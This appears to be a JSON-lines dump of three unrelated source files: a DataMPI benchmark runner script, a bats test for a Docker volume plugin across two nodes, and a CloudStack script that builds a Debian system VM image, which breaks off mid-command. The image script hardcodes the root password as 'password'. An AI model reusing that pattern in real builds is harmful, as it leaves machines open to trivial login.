2>&1 | tee -a ${LOG_NAME} &\n\t\t\t;;\n\t\t\t*)\n \tbash -c \"${cmd}\" 2>&1 | tee -a ${LOG_NAME} &\n\t\t\t;;\n\t\tesac\n PId=$! \n if [ \"`_check_mpi_start $startLine $PId`\" = \"0\" ] \n then \n break \n fi\n }\n\n if [ \"$i\" != \"0\" ]\n then\n wait $PId\n \n if [ \"$?\" != \"0\" -o \"`check_log ${startLine}`\" != \"0\" ]\n then\n echo \"[FAIL] DataMPI $JOB_NAME `basename $SOURCE_PATH` MAPS $MAPS REDUCES $REDS. \" | tee -a $REPORT_NAME\n TEST_STAT=1\n else\n\t\t t2=`date +%s`\n costTime=`get_running_time 'mpid' ${startLine}`\n echo \"[OK] DataMPI $JOB_NAME `basename $SOURCE_PATH` hosts $HOSTS_NUM app spend ${costTime}, total cost $((t2-t1)) sec\" | tee -a $REPORT_NAME\n fi\n else\n echo \"[FAIL] DataMPI $JOB_NAME `basename $SOURCE_PATH` MAPS $MAPS REDUCES $REDS. mpi start with no ack recv \" | tee -a $REPORT_NAME\n fi\n\n startLine=0\n}\n\ndo_tera_st_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n JOB_NAME=\"terast\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.TeraSortOnHDFSDataLocal \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_text_wc_mpid_local()\n{\n ## use text data\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$MAPS\n JOB_NAME=\"textwclocal\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.WordCountOnHDFSDataLocal \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_text_wc_mpid()\n{\n ## use text data\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n JOB_NAME=\"textwc\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A 1 \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.WordCountOnHDFS \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_text_sort_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n JOB_NAME=\"textst\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.SortOnHDFS \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_text_sort_mpid_local()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n JOB_NAME=\"textstlocal\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.SortOnHDFSDataLocal \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_bytes_sort_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n JOB_NAME=\"seqst\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.BytesSortOnHDFS \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH}\"\n\n _do_mpid_func\n}\n\ndo_text_grep_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$MAPS\n JOB_NAME=\"textgrep\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} mpid.examples.GrepOnHDFSDataLocal \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH} princess\"\n\n _do_mpid_func\n\n}\n\ndo_dmbdb_sort_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n TARGET_PATH=${2}\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n JOB_NAME=\"seqst\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_EXAMPLE_JAR} dmb.Sort \\\n ${HDFS_CONF_CORE} ${SOURCE_PATH} ${TARGET_PATH} bytes\"\n\n _do_mpid_func\n}\n\ndo_kmeans_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n POINT_PATH=${1}\n TARGET_PATH=${2}\n CENTERS_PATH=${TARGET_PATH}/center0\n MAPS=$((${3} * ${HOSTS_NUM}))\n REDS=$((${4} * ${HOSTS_NUM}))\n KCENTERS=${5}\n ITER=${6:-1}\n JOB_NAME=\"kmeans\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_BENCH_JAR} \\\n dmb.kmeans.KmeansInit \\\n ${POINT_PATH} ${CENTERS_PATH} $KCENTERS\"\n\n isSrcExist=`${HADOOP_HOME}/bin/hadoop fs -ls ${SOURCE_PATH}`\n if [ \"$isSrcExist\" = \"\" ]\n then\n echo \"[FAIL] DataMPI $JOB_NAME `basename $SOURCE_PATH` MAPS $MAPS REDUCES $REDS. Doesn't have $SOURCE_PATH\" | tee -a $REPORT_NAME\n return 1\n fi\n\n [ ! -f \"${LOG_NAME}\" ] && touch ${LOG_NAME}\n echo ${cmd} | tee -a ${LOG_NAME}\n\tt1=`date +%s`\n ${cmd} 2>&1 | tee -a ${LOG_NAME}\n t2=`date +%s`\n echo \"Prepare cost $((t2-t1)) sec\" | tee -a ${LOG_NAME}\n\n for i in `seq $ITER`; do\n\n PREV_CENTERS_PATH=$CENTERS_PATH\n CENTERS_PATH=\"$TARGET_PATH/out${i}\"\n\n cmd=\"${MPI_D_HOME}/bin/mpidrun -f ${MPI_D_SLAVES} \\\n -mode COM -O ${MAPS} -A ${REDS} \\\n -jar ${DATAMPI_BENCH_JAR} \\\n dmb.kmeans.KmeansIter \\\n ${POINT_PATH} ${PREV_CENTERS_PATH} ${CENTERS_PATH} $KCENTERS\"\n\n echo ${cmd} | tee -a ${LOG_NAME}\n ${cmd} 2>&1 | tee -a ${LOG_NAME}\n t3=`date +%s`\n echo \"Iter $i cost $((t3-t2)) sec\" | tee -a ${LOG_NAME}\n t2=$t3\n\n done\n\n echo \"[OK] DataMPI $JOB_NAME `basename $POINT_PATH` total cost $((t2-t1)) sec\" | tee -a $REPORT_NAME\n}\n# $1 is edges , $2 is vecs, $3 is outputs, $4 is iters, $5 is maps ,$6 is reds\ndo_pagerank_mpid()\n{\n HOSTS_NUM=`wc -l $_TESTDIR/conf/slaves | awk '{print $1}'`\n\n SOURCE_PATH=${1}\n\tVEC_PATH=${2}\n\tPRVEC_PATH=\"pr_vector\"\n\tTMP_PATH=\"pr_tempmv\"\n TARGET_PATH=${3}\n\tlet \"I=2**${4}\"\n\tMAX_ITERS=${5}\n\tMAPS=$((${6} * ${HOSTS_NUM}))\n REDS=$((${7} * ${HOSTS_NUM}))\n JOB_NAME=\"pagerank\"\n\tdel_data $TMP_PATH\n\tdel_data $PRVEC_PATH\n\tcopy_data $VEC_PATH $PRVEC_PATH\n\tcmd=\"f_pagerank\"\n _do_mpid_func\n del_data $TMP_PATH\n\tdel_data $PRVEC_PATH\n}\nrun_pagerank()\n{\n for i in `seq 1 $MAX_ITERS`;\n do\n\techo \"ITER: loop $i\"\n\techo \"First Stage .......\" \n \"${MPI_D_HOME}/bin/mpidrun\" \\\n -f ${MPI_D_SLAVES} -mode COM \\\n -O \"${MAPS}\" -A \"${REDS}\" \\\n -jar $DATAMPI_BENCH_JAR dmb.web.pagerank.PagerankNaive \\\n \"${HDFS_CONF_CORE}\" \"${SOURCE_PATH}\" \"${PRVEC_PATH}\" \"${TMP_PATH}\"; \n\techo \"Second Stage ......\"\n \"${MPI_D_HOME}/bin/mpidrun\" \\\n -f ${MPI_D_SLAVES} -mode COM \\\n -O \"${MAPS}\" -A \"${REDS}\" \\\n -jar $DATAMPI_BENCH_JAR dmb.web.pagerank.PagerankMerge \\\n \"${HDFS_CONF_CORE}\" \"${TMP_PATH}\" \"${TARGET_PATH}\" \\\n \"${I}\" \"0.85\" ; \n del_data ${PRVEC_PATH}; \n del_data ${TMP_PATH}; \n if [ ! $i = $MAX_ITERS ]\n then \n move_data ${TARGET_PATH} ${PRVEC_PATH} \n fi \n done\n}"} {"text": "<filename>secondnode.bats\n#!/usr/bin/env bats\n\nload test_helper\n\n@test \"Test: Install plugin for driver ($driver) on node 2\" {\n #skip \"This test works, faster for rev without it\"\n run $prefix2 docker plugin install --grant-all-permissions $driver $pluginopts\n assert_success\n}\n\n@test \"Test: Confirm volume is visible on second node (volume ls) using driver ($driver)\" {\n run $prefix2 docker volume ls\n assert_line --partial \"testvol\"\n}\n\n@test \"Start a container and mount the volume on node 2\" {\n run $prefix2 docker run -it -d --name mounter -v testvol:/data ubuntu /bin/bash\n assert_success\n}\n\n@test \"Confirm textfile contents on the volume from node 2\" {\n run $prefix2 -t docker exec -it mounter cat /data/foo.txt\n assert_line --partial \"testdata\"\n}\n\n@test \"Confirm checksum for binary file on node 2\" {\n run $prefix2 -t docker exec -it mounter md5sum --check /data/checksum\n assert_success\n}\n\n@test \"Destroy container on node 2\" {\n run $prefix2 docker stop mounter\n run $prefix2 docker rm mounter\n assert_success\n}\n\n@test \"Remove volume\" {\n run $prefix2 docker volume rm testvol\n assert_success\n}\n\n@test \"Confirm volume is removed from docker ls\" {\n run $prefix2 docker volume ls\n refute_output --partial 'testvol'\n}\n\n@test \"Disable plugin on node 2\" {\n run $prefix2 docker plugin disable $driver\n assert_success\n}\n\n@test \"Remove plugin on node 2\" {\n run $prefix2 docker plugin rm $driver\n assert_success\n}\n\n@test \"Disable plugin on node 1\" {\n run $prefix1 docker plugin disable $driver\n assert_success\n}\n\n@test \"Remove plugin on node 1\" {\n run $prefix1 docker plugin rm $driver\n assert_success\n}"} {"text": "<reponame>cinderella/incubator-cloudstack<gh_stars>0\n#!/bin/bash\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n \nset -e\nset -x\n\nIMAGENAME=systemvm\nLOCATION=/var/lib/images/systemvm\nPASSWORD=password\n#APT_PROXY=192.168.1.115:3142/\nAPT_PROXY=\nHOSTNAME=systemvm\nSIZE=2000\nDEBIAN_MIRROR=ftp.us.debian.org/debian\nMINIMIZE=true\nCLOUDSTACK_RELEASE=3.0\noffset=4096\nbaseimage() {\n mkdir -p $LOCATION\n #dd if=/dev/zero of=$IMAGELOC bs=1M count=$SIZE\n dd if=/dev/zero of=$IMAGELOC bs=1M seek=$((SIZE - 1)) count=1\n loopdev=$(losetup -f)\n losetup $loopdev $IMAGELOC\n parted $loopdev -s 'mklabel msdos'\n parted $loopdev -s 'mkpart primary ext3 4096B -1'\n sleep 2 \n losetup -d $loopdev\n loopdev=$(losetup --show -o $offset -f $IMAGELOC )\n mkfs.ext3 -L ROOT $loopdev\n mkdir -p $MOUNTPOINT\n tune2fs -c 100 -i 0 $loopdev\n sleep 2 \n losetup -d $loopdev\n \n mount -o loop,offset=$offset $IMAGELOC $MOUNTPOINT\n \n #debootstrap --variant=minbase --keyring=/usr/share/keyrings/debian-archive-keyring.gpg squeeze $MOUNTPOINT http://${APT_PROXY}${DEBIAN_MIRROR}\n debootstrap --variant=minbase --arch=i386 squeeze $MOUNTPOINT http://${APT_PROXY}${DEBIAN_MIRROR}\n}\n\n\nfixapt() {\n if [ \"$APT_PROXY\" != \"\" ]; then\n cat >> etc/apt/apt.conf.d/01proxy << EOF\nAcquire::http::Proxy \"http://${APT_PROXY}\";\nEOF\n fi\n\n cat > etc/apt/sources.list << EOF\ndeb http://ftp.us.debian.org/debian/ squeeze main non-free\ndeb-src http://ftp.us.debian.org/debian/ squeeze main non-free\n\ndeb http://security.debian.org/ squeeze/updates main\ndeb-src http://security.debian.org/ squeeze/updates main\n\ndeb http://volatile.debian.org/debian-volatile squeeze/volatile main\ndeb-src http://volatile.debian.org/debian-volatile squeeze/volatile main\n\ndeb http://ftp.us.debian.org/debian testing main contrib non-free\nEOF\n\n cat >> etc/apt/apt.conf << EOF\nAPT::Default-Release \"stable\"; \nEOF\n\n cat >> etc/apt/preferences << EOF\nPackage: *\nPin: release o=Debian,a=stable\nPin-Priority: 900\n\nPackage: *\nPin: release o=Debian,a=testing\nPin-Priority: 400\nEOF\n\n #apt-key exportall | chroot . apt-key add - &&\n chroot . apt-get update &&\n echo \"Apt::Install-Recommends 0;\" > etc/apt/apt.conf.d/local-recommends\n\n cat >> usr/sbin/policy-rc.d << EOF\n#!/bin/sh\nexit 101\nEOF\n chmod a+x usr/sbin/policy-rc.d\n\n cat >> etc/default/locale << EOF\nLANG=en_US.UTF-8\nLC_ALL=en_US.UTF-8\nEOF\n\n cat >> etc/locale.gen << EOF\nen_US.UTF-8 UTF-8\nEOF\n\n DEBIAN_FRONTEND=noninteractive\n DEBIAN_PRIORITY=critical\n export DEBIAN_FRONTEND DEBIAN_PRIORITY \n chroot . dpkg-reconfigure debconf --frontend=noninteractive\n chroot . apt-get -q -y install locales\n}\n\nnetwork() {\n\n echo \"$HOSTNAME\" > etc/hostname &&\n cat > etc/hosts << EOF \n127.0.0.1 localhost\n# The following lines are desirable for IPv6 capable hosts\n::1 localhost ip6-localhost ip6-loopback\nfd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b ip6-localnet\nfd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b ip6-mcastprefix\nfc00:e968:6179::de52:7100 ip6-allnodes\nfd00:c2b6:b24b:be67:2827:688d:e6a1:6a3b ip6-allrouters\nfd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b ip6-allhosts\nEOF\n\n cat >> etc/network/interfaces << EOF\nauto lo eth0\niface lo inet loopback\n\n# The primary network interface\niface eth0 inet static\n\nEOF\n}\n\ninstall_kernel() {\n DEBIAN_FRONTEND=noninteractive\n DEBIAN_PRIORITY=critical\n export DEBIAN_FRONTEND DEBIAN_PRIORITY\n\n chroot . apt-get -qq -y --force-yes install grub-legacy &&\n cp -av usr/lib/grub/i386-pc boot/grub\n #for some reason apt-get install grub does not install grub/stage1 etc\n #loopd=$(losetup -f --show $1)\n #grub-install $loopd --root-directory=$MOUNTPOINT\n #losetup -d $loopd\n grub << EOF &&\ndevice (hd0) $1\nroot (hd0,0)\nsetup (hd0)\nquit\nEOF\n # install a kernel image\n cat > etc/kernel-img.conf << EOF &&\ndo_symlinks = yes\nlink_in_boot = yes\ndo_initrd = yes\nEOF\n touch /mnt/systemvm/boot/grub/default\n chroot . apt-get install -qq -y --force-yes linux-image-686-bigmem\n cat >> etc/kernel-img.conf << EOF\npostinst_hook = /usr/sbin/update-grub\npostrm_hook = /usr/sbin/update-grub\nEOF\n}\n\n\nfixgrub() {\n kern=$(basename $(ls boot/vmlinuz-*))\n ver=${kern#vmlinuz-}\n cat > boot/grub/menu.lst << EOF\ndefault 0\ntimeout 2\ncolor cyan/blue white/blue\n\n### BEGIN AUTOMAGIC KERNELS LIST\n# kopt=root=LABEL=ROOT ro\n\n## ## End Default Options ##\ntitle\t\tDebian GNU/Linux, kernel $ver\nroot\t\t(hd0,0)\nkernel\t\t/boot/$kern root=LABEL=ROOT ro console=tty0 xencons=ttyS0,115200 console=hvc0 quiet\ninitrd\t\t/boot/initrd.img-$ver\n\n### END DEBIAN AUTOMAGIC KERNELS LIST\nEOF\n (cd boot/grub; ln -s menu.lst grub.conf)\n}\n\nfixinittab() {\n cat >> etc/inittab << EOF\n\nvc:2345:respawn:/sbin/getty 38400 hvc0\nEOF\n}\n\nfixfstab() {\n cat > etc/fstab << EOF\n# <file system> <mount point> <type> <options> <dump> <pass>\nproc /proc proc defaults 0 0\nLABEL=ROOT / ext3 errors=remount-ro 0 1\nEOF\n}\n\nfixacpid() {\n mkdir -p etc/acpi/events\n cat >> etc/acpi/events/power << EOF\nevent=button/power.*\naction=/usr/local/sbin/power.sh \"%e\"\nEOF\n cat >> usr/local/sbin/power.sh << EOF\n#!/bin/bash\n/sbin/poweroff\nEOF\n chmod a+x usr/local/sbin/power.sh\n}\n\nfixiptables() {\ncat >> etc/modules << EOF\nnf_conntrack\nnf_conntrack_ipv4\nEOF\ncat > etc/init.d/iptables-persistent << EOF\n#!/bin/sh\n### BEGIN INIT INFO\n# Provides: iptables\n# Required-Start: mountkernfs $local_fs\n# Required-Stop: $local_fs\n# Should-Start: cloud-early-config\n# Default-Start: S\n# Default-Stop: \n# Short-Description: Set up iptables rules\n### END INIT INFO\n\nPATH=\"/sbin:/bin:/usr/sbin:/usr/bin\"\n\n# Include config file for iptables-persistent\n. /etc/iptables/iptables.conf\n\ncase \"\\$1\" in\nstart)\n if [ -e /var/run/iptables ]; then\n echo \"iptables is already started!\"\n exit 1\n else\n touch /var/run/iptables\n fi\n\n if [ \\$ENABLE_ROUTING -ne 0 ]; then\n # Enable Routing\n echo 1 > /proc/sys/net/ipv4/ip_forward\n fi\n\n # Load Modules\n modprobe -a \\$MODULES\n\n # Load saved rules\n if [ -f /etc/iptables/rules ]; then\n iptables-restore </etc/iptables/rules\n fi\n ;;\nstop|force-stop)\n if [ ! -e /var/run/iptables ]; then\n echo \"iptables is already stopped!\"\n exit 1\n else\n rm /var/run/iptables\n fi\n\n if [ \\$SAVE_NEW_RULES -ne 0 ]; then\n # Backup old rules\n cp /etc/iptables/rules /etc/iptables/rules.bak\n # Save new rules\n iptables-save >/etc/iptables/rules\n fi\n\n # Restore Default Policies\n iptables -P INPUT ACCEPT\n iptables -P FORWARD ACCEPT\n iptables -P OUTPUT ACCEPT\n\n # Flush rules on default tables\n iptables -F\n iptables -t nat -F\n iptables -t mangle -F\n\n # Unload previously loaded modules\n modprobe -r \\$MODULES\n\n # Disable Routing if enabled\n if [ \\$ENABLE_ROUTING -ne 0 ]; then\n # Disable Routing\n echo 0 > /proc/sys/net/ipv4/ip_forward\n fi\n\n ;;\nrestart|force-reload)\n \\$0 stop\n \\$0 start\n ;;\nstatus)\n echo \"Filter Rules:\"\n echo \"--------------\"\n iptables -L -v\n echo \"\"\n echo \"NAT Rules:\"\n echo \"-------------\"\n iptables -t nat -L -v\n echo \"\"\n echo \"Mangle Rules:\"\n echo \"----------------\"\n iptables -t mangle -L -v\n ;;\n*)\n echo \"Usage: \\$0 {start|stop|force-stop|restart|force-reload|status}\" >&2\n exit 1\n ;;\nesac\n\nexit 0\nEOF\n chmod a+x etc/init.d/iptables-persistent\n\n\n touch etc/iptables/iptables.conf \n cat > etc/iptables/iptables.conf << EOF\n# A basic config file for the /etc/init.d/iptable-persistent script\n\n# Should new manually added rules from command line be saved on reboot? Assign to a value different that 0 if you want this enabled.\nSAVE_NEW_RULES=0\n\n# Modules to load:\nMODULES=\"nf_nat_ftp nf_conntrack_ftp\"\n\n# Enable Routing?\nENABLE_ROUTING=1\nEOF\n chmod a+x etc/iptables/iptables.conf\n\n}\n\nvpn_config() {\n cp -r ${scriptdir}/vpn/* ./\n}\n\npackages() {\n DEBIAN_FRONTEND=noninteractive\n DEBIAN_PRIORITY=critical\n DEBCONF_DB_OVERRIDE=’File{/root/config.dat}’\n export DEBIAN_FRONTEND DEBIAN_PRIORITY DEBCONF_DB_OVERRIDE\n\n #basic stuff\n chroot . apt-get --no-install-recommends -q -y --force-yes install rsyslog logrotate cron chkconfig insserv net-tools ifupdown vim-tiny netbase iptables openssh-server grub-legacy e2fsprogs dhcp3-client dnsmasq tcpdump socat wget python bzip2 sed gawk diff grep gzip less tar telnet ftp rsync traceroute psmisc lsof procps monit inetutils-ping iputils-arping httping dnsutils zip unzip ethtool uuid file iproute acpid iptables-persistent virt-what sudo\n #fix hostname in openssh-server generated keys\n sed -i \"s/root@\\(.*\\)$/root@systemvm/g\" etc/ssh/ssh_host_*.pub\n\n #sysstat\n chroot . echo 'sysstat sysstat/enable boolean true' | chroot . debconf-set-selections\n chroot . apt-get --no-install-recommends -q -y --force-yes install sysstat\n #apache\n chroot . apt-get --no-install-recommends -q -y --force-yes install apache2 ssl-cert \n #haproxy\n chroot . apt-get --no-install-recommends -q -y --force-yes install haproxy \n #dnsmasq\n chroot . apt-get --no-install-recommends -q -y --force-yes install dnsmasq \n #nfs client\n chroot . apt-get --no-install-recommends -q -y --force-yes install nfs-common\n #vpn stuff\n chroot . apt-get --no-install-recommends -q -y --force-yes install xl2tpd openswan bcrelay ppp ipsec-tools tdb-tools\n #vmware tools\n chroot . apt-get --no-install-recommends -q -y --force-yes install open-vm-tools\n #xenstore utils\n chroot . apt-get --no-install-recommends -q -y --force-yes install xenstore-utils libxenstore3.0\n #keepalived and conntrackd\n chroot . apt-get --no-install-recommends -q -y --force-yes install keepalived conntrackd ipvsadm libnetfilter-conntrack3 libnl1\n #ipcalc\n chroot . apt-get --no-install-recommends -q -y --force-yes install ipcalc\n\n echo \"***** getting sun jre 6*********\"\n chroot . echo 'sun-java6-bin shared/accepted-sun-dlj-v1-1 boolean true\n\tsun-java6-jre shared/accepted-sun-dlj-v1-1 boolean true\n\tsun-java6-jre sun-java6-jre/stopthread boolean true\n\tsun-java6-jre sun-java6-jre/jcepolicy note\n\tsun-java6-bin shared/present-sun-dlj-v1-1 note\n\tsun-java6-jre shared/present-sun-dlj-v1-1 note ' | chroot . debconf-set-selections\n chroot . apt-get --no-install-recommends -q -y install sun-java6-jre \n}\n\n\npassword() {\n chroot . echo \"root:$PASSWORD\" | chroot . chpasswd\n}\n\napache2() {\n chroot . a2enmod ssl rewrite auth_basic auth_digest\n chroot . a2ensite default-ssl\n cp etc/apache2/sites-available/default etc/apache2/sites-available/default.orig\n cp etc/apache2/sites-available/default-ssl etc/apache2/sites-available/default-ssl.orig\n}\n\nservices() {\n mkdir -p ./var/www/html\n mkdir -p ./opt/cloud/bin\n mkdir -p ./var/cache/cloud\n mkdir -p ./usr/share/cloud\n mkdir -p ./usr/local/cloud\n mkdir -p ./root/.ssh\n #Fix haproxy directory issue\n mkdir -p ./var/lib/haproxy\n \n /bin/cp -r ${scriptdir}/config/* ./\n chroot . chkconfig xl2tpd off\n chroot . chkconfig --add cloud-early-config\n chroot . chkconfig cloud-early-config on\n chroot . chkconfig --add cloud-passwd-srvr \n chroot . chkconfig cloud-passwd-srvr off\n chroot . chkconfig --add cloud\n chroot . chkconfig cloud off\n chroot . chkconfig monit off\n}\n\ndhcp_fix() {\n #deal with virtio DHCP issue, copy and install customized kernel module and iptables\n mkdir -p tmp\n cp /tmp/systemvm/xt_CHECKSUM.ko lib/modules/2.6.32-5-686-bigmem/kernel/net/netfilter\n chroot . depmod -a 2.6.32-5-686-bigmem\n cp /tmp/systemvm/iptables_1.4.8-3local1checksum1_i386.deb tmp/\n chroot . dpkg -i tmp/iptables_1.4.8-3local1checksum1_i386.deb\n rm tmp/iptables_1.4.8-3local1checksum1_i386.deb\n}\n\ninstall_xs_tool() {\n #deal with virtio DHCP issue, copy and install customized kernel module and iptables\n mkdir -p tmp\n cp /tmp/systemvm/xe-guest-utilities_5.6.0-595_i386.deb tmp/\n chroot . dpkg -i tmp/xe-guest-utilities_5.6.0-595_i386.deb\n rm tmp/xe-guest-utilities_5.6.0-595_i386.deb\n}\n\ncleanup() {\n rm -f usr/sbin/policy-rc.d\n rm -f root/config.dat\n rm -f etc/apt/apt.conf.d/01proxy \n\n if [ \"$MINIMIZE\" == \"true\" ]\n then\n rm -rf var/cache/apt/*\n rm -rf var/lib/apt/*\n rm -rf usr/share/locale/[a-d]*\n rm -rf usr/share/locale/[f-z]*\n rm -rf usr/share/doc/*\n size=$(df $MOUNTPOINT | awk '{print $4}' | grep -v Available)\n dd if=/dev/zero of=$MOUNTPOINT/zeros.img bs=1M count=$((((size-150000)) / 1000))\n rm -f $MOUNTPOINT/zeros.img\n fi\n}\n\nsignature() {\n (cd ${scriptdir}/config; tar cvf ${MOUNTPOINT}/usr/share/cloud/cloud-scripts.tar *)\n (cd ${scriptdir}/vpn; tar rvf ${MOUNTPOINT}/usr/share/cloud/cloud-scripts.tar *)\n gzip -c ${MOUNTPOINT}/usr/share/cloud/cloud-scripts.tar > ${MOUNTPOINT}/usr/share/cloud/cloud-scripts.tgz\n md5sum ${MOUNTPOINT}/usr/share/cloud/cloud-scripts.tgz |awk '{print $1}' > ${MOUNTPOINT}/var/cache/cloud/cloud-scripts-signature\n echo \"Cloudstack Release $CLOUDSTACK_RELEASE $(date)\" > ${MOUNTPOINT}/etc/cloudstack-release\n}\n\n#check grub version\n\ngrub --version | grep \"0.9\" > /dev/null\nif [ $? -ne 0 ]\nthen\n echo You need grub 0.9x\\(grub-legacy\\) to use this script!\n exit 1\nfi\n\nmkdir -p $IMAGENAME\nmkdir -p $LOCATION\nMOUNTPOINT=/mnt/$IMAGENAME/\nIMAGELOC=$LOCATION/$IMAGENAME.img\nscriptdir=$(dirname $PWD/$0)\n\nrm -rf /tmp/systemvm\nmkdir -p /tmp/systemvm\ncp ./xt_CHECKSUM.ko /tmp/systemvm\ncp ./iptables_1.4.8-3local1checksum1_i386.deb /tmp/systemvm\ncp ./xe-guest-utilities_5.6.0-595_i386.deb /tmp/systemvm\n\nrm -f $IMAGELOC\nbegin=$(date +%s)\necho \"*************INSTALLING BASEIMAGE********************\"\nbaseimage\n\ncp $scriptdir/config.dat $MOUNTPOINT/root/\ncd $MOUNTPOINT\n\nmount -o bind /proc $MOUNTPOINT/proc\nmount -o bind /dev $MOUNTPOINT/dev\n\necho \"*************CONFIGURING APT********************\"\nfixapt \necho \"*************DONE CONFIGURING APT********************\"\n\necho \"*************CONFIGURING NETWORK********************\"\nnetwork\necho \"*************DONE CONFIGURING NETWORK********************\"\n\necho \"*************INSTALLING KERNEL********************\"\ninstall_kernel $IMAGELOC\necho \"*************DONE INSTALLING KERNEL********************\"\n\necho \"*************CONFIGURING GRUB********************\"\nfixgrub $IMAGELOC\necho \"*************DONE CONFIGURING GRUB********************\"\n\n\necho \"*************CONFIGURING INITTAB********************\"\nfixinittab\necho \"*************DONE CONFIGURING INITTAB********************\"\n\necho \"*************CONFIGURING FSTAB********************\"\nfixfstab\necho \"*************DONE CONFIGURING FSTAB********************\"\n\necho \"*************CONFIGURING ACPID********************\"\nfixacpid\necho \"*************DONE CONFIGURING ACPID********************\"\n\necho \"*************INSTALLING PACKAGES********************\"\npackages\necho \"*************DONE INSTALLING PACKAGES********************\"\n\necho \"*************CONFIGURING IPTABLES********************\"\nfixiptables\necho \"*************DONE CONFIGURING IPTABLES********************\"\n\necho \"*************CONFIGURING PASSWORD********************\"\npassword\n\necho \"*************CONFIGURING SERVICES********************\"\nservices\n\necho \"*************CONFIGURING APACHE********************\"\napache2\n\necho \"*************CONFIGURING VPN********************\"\nvpn_config\n\necho \"*************FIX DHCP ISSUE********************\"\ndhcp_fix\n\necho \"*************INSTALL XS TOOLS********************\"\ninstall_xs_tool\n\necho \"*************CLEANING UP********************\"\ncleanup \n\necho \"*************GENERATING SIGNATURE********************\"\nsignature\n\ncd $scriptdir\n\numount 